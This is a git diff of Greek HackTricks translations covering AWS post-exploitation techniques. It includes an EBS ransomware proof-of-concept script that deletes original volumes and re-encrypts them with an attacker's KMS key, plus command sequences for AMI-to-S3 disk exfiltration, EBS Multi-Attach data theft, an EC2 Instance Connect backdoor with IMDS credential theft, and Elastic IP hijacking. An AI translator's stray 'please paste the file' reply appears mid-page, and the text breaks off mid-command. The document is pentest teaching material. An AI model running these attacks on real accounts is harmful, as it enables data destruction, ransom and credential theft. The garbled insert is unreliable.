``` ### Αναζήτηση ευαίσθητων πληροφοριών σε δημόσιες και ιδιωτικές AMIs -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): Το CloudShovel είναι ένα εργαλείο σχεδιασμένο για **να αναζητά ευαίσθητες πληροφορίες εντός δημόσιων ή ιδιωτικών Amazon Machine Images (AMIs)**. Αυτοματοποιεί τη διαδικασία εκκίνησης στιγμιότυπων από στοχευμένες AMIs, τοποθέτησης των τόμων τους και σάρωσης για πιθανά μυστικά ή ευαίσθητα δεδομένα. +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): Το CloudShovel είναι ένα εργαλείο σχεδιασμένο για να **αναζητά ευαίσθητες πληροφορίες σε δημόσιες ή ιδιωτικές Amazon Machine Images (AMIs)**. Αυτοματοποιεί τη διαδικασία εκκίνησης instances από τις στοχευόμενες AMIs, την προσάρτηση των volumes τους και τη σάρωση για πιθανά secrets ή ευαίσθητα δεδομένα. -### Κοινή χρήση στιγμιότυπου EBS +### Κοινή χρήση EBS Snapshot ```bash aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region ``` ### EBS Ransomware PoC -Μια απόδειξη της έννοιας παρόμοια με την επίδειξη Ransomware που παρουσιάστηκε στις σημειώσεις post-exploitation S3. Το KMS θα έπρεπε να μετονομαστεί σε RMS για Ransomware Management Service με το πόσο εύκολο είναι να χρησιμοποιηθεί για την κρυπτογράφηση διαφόρων υπηρεσιών AWS χρησιμοποιώντας το. +Ένα proof of concept παρόμοιο με την επίδειξη Ransomware που περιγράφεται στις σημειώσεις post-exploitation για το S3. Το KMS θα έπρεπε να μετονομαστεί σε RMS (Ransomware Management Service), λόγω του πόσο εύκολο είναι να χρησιμοποιηθεί για να κρυπτογραφήσει διάφορες υπηρεσίες AWS. -Πρώτα από έναν λογαριασμό AWS 'επιτιθέμενου', δημιουργήστε ένα κλειδί διαχείρισης πελάτη στο KMS. Για αυτό το παράδειγμα, θα αφήσουμε το AWS να διαχειριστεί τα δεδομένα του κλειδιού για μένα, αλλά σε ένα ρεαλιστικό σενάριο, ένας κακόβουλος παράγοντας θα διατηρούσε τα δεδομένα του κλειδιού εκτός του ελέγχου του AWS. Αλλάξτε την πολιτική του κλειδιού για να επιτρέψετε σε οποιονδήποτε Principal λογαριασμού AWS να χρησιμοποιήσει το κλειδί. Για αυτή την πολιτική κλειδιού, το όνομα του λογαριασμού ήταν 'AttackSim' και ο κανόνας πολιτικής που επιτρέπει σε όλους την πρόσβαση ονομάζεται 'Outside Encryption' +Πρώτα, από έναν λογαριασμό AWS 'attacker', δημιούργησε ένα customer managed key στο KMS. Σ'αυτό το παράδειγμα θα αφήσουμε την AWS να διαχειρίζεται τα δεδομένα του κλειδιού για εμάς, αλλά σε ρεαλιστικό σενάριο ένας κακόβουλος φορέας θα κρατούσε τα δεδομένα του κλειδιού εκτός του ελέγχου της AWS. Αλλάξτε την key policy ώστε να επιτρέπει σε οποιονδήποτε AWS account Principal να χρησιμοποιεί το κλειδί. Για αυτή την key policy, το όνομα του λογαριασμού ήταν 'AttackSim' και ο κανόνας πολιτικής που επιτρέπει πλήρη πρόσβαση ονομάζεται 'Outside Encryption' ``` { "Version": "2012-10-17", @@ -272,7 +337,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ] } ``` -Η πολιτική κλειδιού χρειάζεται τα εξής ενεργοποιημένα για να επιτρέψει τη χρήση της για την κρυπτογράφηση ενός EBS volume: +The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume: - `kms:CreateGrant` - `kms:Decrypt` @@ -280,21 +345,21 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -Τώρα με το δημόσια προσβάσιμο κλειδί προς χρήση. Μπορούμε να χρησιμοποιήσουμε έναν λογαριασμό 'θύμα' που έχει μερικές EC2 περιπτώσεις ενεργοποιημένες με μη κρυπτογραφημένα EBS volumes συνδεδεμένα. Τα EBS volumes του λογαριασμού 'θύμα' είναι αυτά που στοχεύουμε για κρυπτογράφηση, αυτή η επίθεση είναι υπό την υποτιθέμενη παραβίαση ενός λογαριασμού AWS υψηλής προνομιακής πρόσβασης. +Τώρα με το δημόσια προσβάσιμο key προς χρήση. Μπορούμε να χρησιμοποιήσουμε έναν λογαριασμό 'victim' που έχει μερικά EC2 instances εκτελόμενα με μη κρυπτογραφημένα EBS volumes συνδεδεμένα. Τα EBS volumes αυτού του λογαριασμού 'victim' είναι ο στόχος μας για κρυπτογράφηση — αυτή η επίθεση γίνεται υπό την υπόθεση παραβίασης ενός λογαριασμού AWS με υψηλά προνόμια. ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -Παρόμοια με το παράδειγμα ransomware S3. Αυτή η επίθεση θα δημιουργήσει αντίγραφα των συνδεδεμένων EBS volumes χρησιμοποιώντας snapshots, θα χρησιμοποιήσει το δημόσια διαθέσιμο κλειδί από τον λογαριασμό 'επιτιθέμενου' για να κρυπτογραφήσει τα νέα EBS volumes, στη συνέχεια θα αποσυνδέσει τα αρχικά EBS volumes από τις EC2 περιπτώσεις και θα τα διαγράψει, και τέλος θα διαγράψει τα snapshots που χρησιμοποιήθηκαν για τη δημιουργία των νέων κρυπτογραφημένων EBS volumes. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +Παρόμοια με το παράδειγμα S3 ransomware. Αυτή η επίθεση θα δημιουργήσει αντίγραφα των συνδεδεμένων EBS volumes χρησιμοποιώντας snapshots, θα χρησιμοποιήσει το δημόσια διαθέσιμο key από τον λογαριασμό 'attacker' για να κρυπτογραφήσει τα νέα EBS volumes, στη συνέχεια θα αποσυνδέσει τα αρχικά EBS volumes από τα EC2 instances και θα τα διαγράψει, και τελικά θα διαγράψει τα snapshots που χρησιμοποιήθηκαν για τη δημιουργία των πρόσφατα κρυπτογραφημένων EBS volumes. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) -Αυτό έχει ως αποτέλεσμα να παραμείνουν διαθέσιμα μόνο κρυπτογραφημένα EBS volumes στον λογαριασμό. +Αυτό έχει ως αποτέλεσμα να παραμένουν διαθέσιμα στον λογαριασμό μόνο κρυπτογραφημένα EBS volumes. ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -Επίσης αξίζει να σημειωθεί ότι το σενάριο σταμάτησε τις EC2 περιπτώσεις για να αποσυνδέσει και να διαγράψει τα αρχικά EBS volumes. Τα αρχικά μη κρυπτογραφημένα volumes έχουν πλέον εξαφανιστεί. +Αξίζει επίσης να σημειωθεί ότι το script σταμάτησε τα EC2 instances για να αποσυνδέσει και να διαγράψει τα αρχικά EBS volumes. Τα αρχικά μη κρυπτογραφημένα volumes έχουν πλέον εξαφανιστεί. ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) -Στη συνέχεια, επιστρέψτε στην πολιτική κλειδιού στον λογαριασμό 'επιτιθέμενου' και αφαιρέστε τον κανόνα πολιτικής 'Εξωτερική Κρυπτογράφηση' από την πολιτική κλειδιού. +Στη συνέχεια, επιστρέψτε στην πολιτική κλειδιού του λογαριασμού 'attacker' και αφαιρέστε τον κανόνα πολιτικής 'Outside Encryption'. ```json { "Version": "2012-10-17", @@ -365,15 +430,15 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ] } ``` -Περίμενε λίγο για να διαδοθεί η νέα πολιτική κλειδιού. Στη συνέχεια, επέστρεψε στον λογαριασμό του 'θύματος' και προσπάθησε να επισυνάψεις έναν από τους νέους κρυπτογραφημένους όγκους EBS. Θα διαπιστώσεις ότι μπορείς να επισυνάψεις τον όγκο. +Περιμένετε λίγο ώστε η νεορυθμισμένη key policy να διαδοθεί. Έπειτα επιστρέψτε στον 'victim' account και προσπαθήστε να επισυνάψετε ένα από τα πρόσφατα κρυπτογραφημένα EBS volumes. Θα διαπιστώσετε ότι μπορείτε να επισυνάψετε το volume. ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -Αλλά όταν προσπαθήσεις να ξεκινήσεις ξανά την EC2 instance με τον κρυπτογραφημένο όγκο EBS, θα αποτύχει και θα επιστρέψει από την κατάσταση 'pending' στην κατάσταση 'stopped' για πάντα, καθώς ο επισυναπτόμενος όγκος EBS δεν μπορεί να αποκρυπτογραφηθεί χρησιμοποιώντας το κλειδί, καθώς η πολιτική κλειδιού δεν το επιτρέπει πλέον. +Ωστόσο, όταν προσπαθήσετε να επανεκκινήσετε πράγματι το EC2 instance με το κρυπτογραφημένο EBS volume, θα αποτύχει και θα μεταβεί από την κατάσταση 'pending' πίσω στην κατάσταση 'stopped' επ' αόριστον, καθώς το επισυναπτόμενο EBS volume δεν μπορεί να αποκρυπτογραφηθεί με το key επειδή η key policy πλέον δεν το επιτρέπει. ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -Αυτό είναι το python script που χρησιμοποιείται. Παίρνει AWS creds για έναν λογαριασμό 'θύματος' και μια δημόσια διαθέσιμη τιμή ARN AWS για το κλειδί που θα χρησιμοποιηθεί για την κρυπτογράφηση. Το script θα δημιουργήσει κρυπτογραφημένα αντίγραφα ΟΛΩΝ των διαθέσιμων όγκων EBS που είναι επισυναπτόμενοι σε ΟΛΕΣ τις EC2 instances στον στοχευμένο λογαριασμό AWS, στη συνέχεια θα σταματήσει κάθε EC2 instance, θα αποσυνδέσει τους αρχικούς όγκους EBS, θα τους διαγράψει και τελικά θα διαγράψει όλα τα snapshots που χρησιμοποιήθηκαν κατά τη διαδικασία. Αυτό θα αφήσει μόνο κρυπτογραφημένους όγκους EBS στον στοχευμένο λογαριασμό 'θύματος'. ΧΡΗΣΙΜΟΠΟΙΗΣΕ ΑΥΤΟ ΤΟ SCRIPT ΜΟΝΟ ΣΕ ΠΕΡΙΒΑΛΛΟΝ ΔΟΚΙΜΗΣ, ΕΙΝΑΙ ΑΥΤΟΚΤΟΝΙΚΟ ΚΑΙ ΘΑ ΔΙΑΓΡΑΨΕΙ ΟΛΟΥΣ ΤΟΥΣ ΑΡΧΙΚΟΥΣ ΟΓΚΟΥΣ EBS. Μπορείς να τους ανακτήσεις χρησιμοποιώντας το χρησιμοποιούμενο KMS κλειδί και να τους επαναφέρεις στην αρχική τους κατάσταση μέσω snapshots, αλλά θέλω απλώς να σε ενημερώσω ότι αυτό είναι ένα PoC ransomware στο τέλος της ημέρας. +Αυτό είναι το python script που χρησιμοποιήθηκε. Παίρνει AWS creds για έναν 'victim' account και μια δημόσια διαθέσιμη AWS ARN τιμή για το key που θα χρησιμοποιηθεί για κρυπτογράφηση. Το script θα δημιουργήσει κρυπτογραφημένα αντίγραφα ΟΛΩΝ των διαθέσιμων EBS volumes που είναι προσαρτημένα σε ΟΛΑ τα EC2 instances στον στοχευόμενο AWS account, στη συνέχεια θα σταματήσει κάθε EC2 instance, θα αποσυνδέσει τα αρχικά EBS volumes, θα τα διαγράψει, και τέλος θα διαγράψει όλα τα snapshots που χρησιμοποιήθηκαν κατά τη διαδικασία. Αυτό θα αφήσει μόνο κρυπτογραφημένα EBS volumes στον στοχευόμενο 'victim' account. ΧΡΗΣΙΜΟΠΟΙΗΣΤΕ ΑΥΤΟ ΤΟ SCRIPT ΜΟΝΟ ΣΕ ΠΕΡΙΒΑΛΛΟΝ ΔΟΚΙΜΩΝ, ΕΙΝΑΙ ΚΑΤΑΣΤΡΟΦΙΚΟ ΚΑΙ ΘΑ ΔΙΑΓΡΑΨΕΙ ΟΛΑ ΤΑ ΑΡΧΙΚΑ EBS VOLUMES. Μπορείτε να τα ανακτήσετε χρησιμοποιώντας το χρησιμοποιημένο KMS key και να τα επαναφέρετε στην αρχική τους κατάσταση μέσω snapshots, αλλά θέλω απλώς να σας ενημερώσω ότι πρόκειται για ransomware PoC στο τέλος της ημέρας. ``` import boto3 import argparse @@ -492,6 +557,6 @@ main() ``` ## Αναφορές -- [Pentest Partners – Πώς να μεταφέρετε αρχεία στο AWS χρησιμοποιώντας SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) +- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md new file mode 100644 index 000000000..a587e5e5f --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md @@ -0,0 +1,137 @@ +# AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask) + +{{#include ../../../../banners/hacktricks-training.md}} + +## Περίληψη +Abuse EC2 AMI export-to-S3 για να exfiltrate τον πλήρη δίσκο ενός EC2 instance ως μία ενιαία raw image αποθηκευμένη σε S3, και στη συνέχεια να την κατεβάσετε εκτός-καναλιού. Αυτό αποφεύγει το sharing snapshots και παράγει ένα αντικείμενο ανά AMI. + +## Απαιτήσεις +- EC2: `ec2:CreateImage`, `ec2:CreateStoreImageTask`, `ec2:DescribeStoreImageTasks` στο στόχο instance/AMI +- S3 (same Region): `s3:PutObject`, `s3:GetObject`, `s3:ListBucket`, `s3:AbortMultipartUpload`, `s3:PutObjectTagging`, `s3:GetBucketLocation` +- KMS decrypt στο κλειδί που προστατεύει τα AMI snapshots (εάν το EBS default encryption είναι ενεργό) +- Policy του S3 bucket που εμπιστεύεται το `vmie.amazonaws.com` service principal (δείτε παρακάτω) + +## Επιπτώσεις +- Πλήρης offline απόκτηση του root δίσκου του instance σε S3 χωρίς sharing snapshots ή copying across accounts. +- Επιτρέπει stealth forensics πάνω σε credentials, configuration, και περιεχόμενο filesystem από την εξαγόμενη raw image. + +## Πώς να Exfiltrate μέσω AMI Store-to-S3 + +- Σημειώσεις: +- Το S3 bucket πρέπει να βρίσκεται στην ίδια Region με το AMI. +- Στο `us-east-1`, το `create-bucket` ΔΕΝ πρέπει να περιλαμβάνει `--create-bucket-configuration`. +- `--no-reboot` δημιουργεί μια crash-consistent εικόνα χωρίς να σταματήσει το instance (πιο διακριτική αλλά με λιγότερη συνοχή). + +
+Εντολές βήμα-βήμα +```bash +# Vars +REGION=us-east-1 +INSTANCE_ID= +BUCKET=exfil-ami-$(date +%s)-$RANDOM + +# 1) Create S3 bucket (same Region) +if [ "$REGION" = "us-east-1" ]; then +aws s3api create-bucket --bucket "$BUCKET" --region "$REGION" +else +aws s3api create-bucket --bucket "$BUCKET" --create-bucket-configuration LocationConstraint=$REGION --region "$REGION" +fi + +# 2) (Recommended) Bucket policy to allow VMIE service to write the object +ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) +cat > /tmp/bucket-policy.json < + +## Παράδειγμα αποδεικτικών στοιχείων + +- `describe-store-image-tasks` μεταβάσεις: +```text +InProgress +Completed +``` +- S3 μεταδεδομένα αντικειμένου (παράδειγμα): +```json +{ +"AcceptRanges": "bytes", +"LastModified": "2025-10-08T01:31:46+00:00", +"ContentLength": 399768709, +"ETag": "\"c84d216455b3625866a58edf294168fd-24\"", +"ContentType": "application/octet-stream", +"ServerSideEncryption": "AES256", +"Metadata": { +"ami-name": "exfil-1759887010", +"ami-owner-account": "", +"ami-store-date": "2025-10-08T01:31:45Z" +} +} +``` +- Μερική λήψη αποδεικνύει την πρόσβαση στο αντικείμενο: +```bash +ls -l /tmp/ami.bin +# -rw-r--r-- 1 user wheel 1048576 Oct 8 03:32 /tmp/ami.bin +``` +## Απαιτούμενα δικαιώματα IAM + +- EC2: `CreateImage`, `CreateStoreImageTask`, `DescribeStoreImageTasks` +- S3 (στο bucket εξαγωγής): `PutObject`, `GetObject`, `ListBucket`, `AbortMultipartUpload`, `PutObjectTagging`, `GetBucketLocation` +- KMS: Εάν τα AMI snapshots είναι κρυπτογραφημένα, επιτρέψτε decrypt για το EBS KMS key που χρησιμοποιείται από τα snapshots + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md new file mode 100644 index 000000000..ccfff3f97 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md @@ -0,0 +1,77 @@ +# AWS - Live Data Theft via EBS Multi-Attach + +{{#include ../../../../banners/hacktricks-training.md}} + +## Σύνοψη +Κακοχρησιμοποιήστε το EBS Multi-Attach για να διαβάσετε από έναν ενεργό io1/io2 data volume προσαρτώντας τον ίδιο όγκο σε ένα attacker-controlled instance στην ίδια Availability Zone (AZ). Το προσαρτημένο κοινόχρηστο volume σε read-only κατάσταση παρέχει άμεση πρόσβαση σε αρχεία που είναι σε χρήση χωρίς να χρειαστεί να δημιουργήσετε snapshots. + +## Απαιτήσεις +- Target volume: io1 or io2 created with `--multi-attach-enabled` in the same AZ as the attacker instance. +- Permissions: `ec2:AttachVolume`, `ec2:DescribeVolumes`, `ec2:DescribeInstances` on the target volume/instances. +- Infrastructure: Nitro-based instance types that support Multi-Attach (C5/M5/R5 families, etc.). + +## Σημειώσεις +- Προσαρτήστε σε read-only με `-o ro,noload` για να μειώσετε τον κίνδυνο καταστροφής και να αποφύγετε journal replays. +- Σε Nitro instances η EBS NVMe συσκευή εκθέτει μια σταθερή διαδρομή `/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...` (βοηθητικό παρακάτω). + +## Προετοιμάστε ένα Multi-Attach io2 volume και προσαρτήστε το στον victim + +Παράδειγμα (create in `us-east-1a` and attach to the victim): +```bash +AZ=us-east-1a +# Create io2 volume with Multi-Attach enabled +VOL_ID=$(aws ec2 create-volume \ +--size 10 \ +--volume-type io2 \ +--iops 1000 \ +--availability-zone $AZ \ +--multi-attach-enabled \ +--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \ +--query 'VolumeId' --output text) + +# Attach to victim instance +aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf +``` +Στο θύμα, format/mount τον νέο volume και γράψτε ευαίσθητα δεδομένα (παραδειγματικό): +```bash +VOLNOHYP="vol${VOL_ID#vol-}" +DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}" +sudo mkfs.ext4 -F "$DEV" +sudo mkdir -p /mnt/shared +sudo mount "$DEV" /mnt/shared +echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt +sudo sync +``` +## Συνδέστε το ίδιο volume στο attacker instance +```bash +aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf +``` +## Mount ως read-only στον attacker και ανάγνωση δεδομένων +```bash +VOLNOHYP="vol${VOL_ID#vol-}" +DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}" +sudo mkdir -p /mnt/steal +sudo mount -o ro,noload "$DEV" /mnt/steal +sudo cat /mnt/steal/secret.txt +``` +Αναμενόμενο αποτέλεσμα: Το ίδιο `VOL_ID` εμφανίζει πολλαπλά `Attachments` (victim and attacker) και ο attacker μπορεί να διαβάσει αρχεία που έγραψε το victim χωρίς να δημιουργήσει κανένα snapshot. +```bash +aws ec2 describe-volumes --volume-ids $VOL_ID \ +--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}' +``` +
+Βοηθητικό: βρείτε τη διαδρομή NVMe συσκευής από το Volume ID + +Σε Nitro instances, χρησιμοποιήστε τη σταθερή by-id διαδρομή που ενσωματώνει το volume id (αφαιρέστε το παύλα μετά το `vol`): +```bash +VOLNOHYP="vol${VOL_ID#vol-}" +ls -l /dev/disk/by-id/ | grep "$VOLNOHYP" +# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX... +``` +
+ +## Επιπτώσεις +- Άμεση πρόσβαση ανάγνωσης στα ζωντανά δεδομένα στον στοχευμένο EBS όγκο χωρίς τη δημιουργία snapshots. +- Αν προσαρτηθεί read-write, ο επιτιθέμενος μπορεί να παραποιήσει το σύστημα αρχείων του θύματος (κίνδυνος καταστροφής). + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md new file mode 100644 index 000000000..1a3405c14 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md @@ -0,0 +1,113 @@ +# AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection + +{{#include ../../../../banners/hacktricks-training.md}} + +Κατάχρηση του EC2 Instance Connect Endpoint (EIC Endpoint) για την απόκτηση εισερχόμενης πρόσβασης SSH σε ιδιωτικές EC2 instances (χωρίς δημόσια IP/bastion) με: +- Δημιουργία EIC Endpoint μέσα στο υποδίκτυο-στόχο +- Επιτρέποντας εισερχόμενη SSH κίνηση στο SG του στόχου από το SG του EIC Endpoint +- Εισαγωγή ενός εφήμερου δημόσιου κλειδιού SSH (ισχύει ~60 δευτερόλεπτα) με `ec2-instance-connect:SendSSHPublicKey` +- Άνοιγμα EIC tunnel και pivot προς το instance για κλοπή των διαπιστευτηρίων του instance profile από το IMDS + +Impact: κρυφός τρόπος απομακρυσμένης πρόσβασης σε ιδιωτικές EC2 instances που παρακάμπτει bastions και περιορισμούς δημόσιας IP. Ο επιτιθέμενος μπορεί να αναλάβει το instance profile και να δρα εντός του account. + +## Requirements +- Δικαιώματα για: +- `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress` +- `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel` +- Στόχος Linux instance με SSH server και EC2 Instance Connect ενεργοποιημένο (Amazon Linux 2 ή Ubuntu 20.04+). Προεπιλεγμένοι χρήστες: `ec2-user` (AL2) ή `ubuntu` (Ubuntu). + +## Variables +```bash +export REGION=us-east-1 +export INSTANCE_ID= +export SUBNET_ID= +export VPC_ID= +export TARGET_SG_ID= +export ENDPOINT_SG_ID= +# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu) +export OS_USER=ec2-user +``` +## Δημιουργία EIC Endpoint +```bash +aws ec2 create-instance-connect-endpoint \ +--subnet-id "$SUBNET_ID" \ +--security-group-ids "$ENDPOINT_SG_ID" \ +--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \ +--region "$REGION" \ +--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID + +# Wait until ready +while true; do +aws ec2 describe-instance-connect-endpoints \ +--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \ +--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE +grep -q 'create-complete' EIC_STATE && break +sleep 5 +done +``` +## Επιτρέψτε την κυκλοφορία από EIC Endpoint προς target instance +```bash +aws ec2 authorize-security-group-ingress \ +--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \ +--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true +``` +## Εισαγωγή προσωρινού SSH κλειδιού και άνοιγμα τούνελ +```bash +# Generate throwaway key +ssh-keygen -t ed25519 -f /tmp/eic -N '' + +# Send short-lived SSH pubkey (valid ~60s) +aws ec2-instance-connect send-ssh-public-key \ +--instance-id "$INSTANCE_ID" \ +--instance-os-user "$OS_USER" \ +--ssh-public-key file:///tmp/eic.pub \ +--region "$REGION" + +# Open a local tunnel to instance:22 via the EIC Endpoint +aws ec2-instance-connect open-tunnel \ +--instance-id "$INSTANCE_ID" \ +--instance-connect-endpoint-id "$(cat EIC_ID)" \ +--local-port 2222 --remote-port 22 --region "$REGION" & +TUN_PID=$!; sleep 2 + +# SSH via the tunnel (within the 60s window) +ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no +``` +## Post-exploitation απόδειξη (steal instance profile credentials) +```bash +# From the shell inside the instance +curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE +curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE) +``` +I don't have the file contents. Please paste the contents of src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md here, and I'll translate the relevant English text to Greek following your rules. +```json +{ +"Code": "Success", +"AccessKeyId": "ASIA...", +"SecretAccessKey": "w0G...", +"Token": "IQoJ...", +"Expiration": "2025-10-08T04:09:52Z" +} +``` +Χρησιμοποιήστε τα κλεμμένα creds τοπικά για να επαληθεύσετε την ταυτότητα: +```bash +export AWS_ACCESS_KEY_ID= +export AWS_SECRET_ACCESS_KEY= +export AWS_SESSION_TOKEN= +aws sts get-caller-identity --region "$REGION" +# => arn:aws:sts:::assumed-role// +``` +## Καθαρισμός +```bash +# Revoke SG ingress on the target +aws ec2 revoke-security-group-ingress \ +--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \ +--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true + +# Delete EIC Endpoint +aws ec2 delete-instance-connect-endpoint \ +--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION" +``` +> Σημειώσεις +> - Το εισαγόμενο SSH κλειδί είναι έγκυρο μόνο για ~60 δευτερόλεπτα· στείλτε το κλειδί αμέσως πριν ανοίξετε το tunnel/SSH. +> - `OS_USER` πρέπει να ταιριάζει με το AMI (π.χ., `ubuntu` για Ubuntu, `ec2-user` για Amazon Linux 2). diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md new file mode 100644 index 000000000..75e871c90 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md @@ -0,0 +1,52 @@ +# AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Περίληψη + +Καταχραστείτε `ec2:AssociateAddress` (και προαιρετικά `ec2:DisassociateAddress`) για να επανασυνδέσετε ένα Elastic IP (EIP) από ένα victim instance/ENI σε ένα attacker instance/ENI. Αυτό αναδρομολογεί την εισερχόμενη κίνηση που προορίζεται για το EIP προς τον attacker και επίσης επιτρέπει στον attacker να ξεκινήσει εξερχόμενη κίνηση με τη allowlisted δημόσια IP, παρακάμπτοντας εξωτερικά partner firewalls. + +## Προαπαιτούμενα +- Target EIP allocation ID στο ίδιο account/VPC. +- Attacker instance/ENI που ελέγχετε. +- Δικαιώματα: +- `ec2:DescribeAddresses` +- `ec2:AssociateAddress` στο EIP allocation-id και στο attacker instance/ENI +- `ec2:DisassociateAddress` (προαιρετικό). Σημείωση: `--allow-reassociation` θα αποσυνδέσει αυτόματα την προηγούμενη σύνδεση. + +## Επίθεση + +Μεταβλητές +```bash +REGION=us-east-1 +ATTACKER_INSTANCE= +VICTIM_INSTANCE= +``` +1) Εκχωρήστε ή εντοπίστε το EIP του θύματος (το lab εκχωρεί ένα καινούριο και το επισυνάπτει στο θύμα) +```bash +ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text) +aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION +EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text) +``` +2) Επιβεβαιώστε ότι το EIP αυτή τη στιγμή επιλύεται στην υπηρεσία του θύματος (π.χ. έλεγχος για banner) +```bash +curl -sS http://$EIP | grep -i victim +``` +3) Επανασυνδέστε το EIP στον επιτιθέμενο (αποσυνδέεται αυτόματα από το θύμα) +```bash +aws 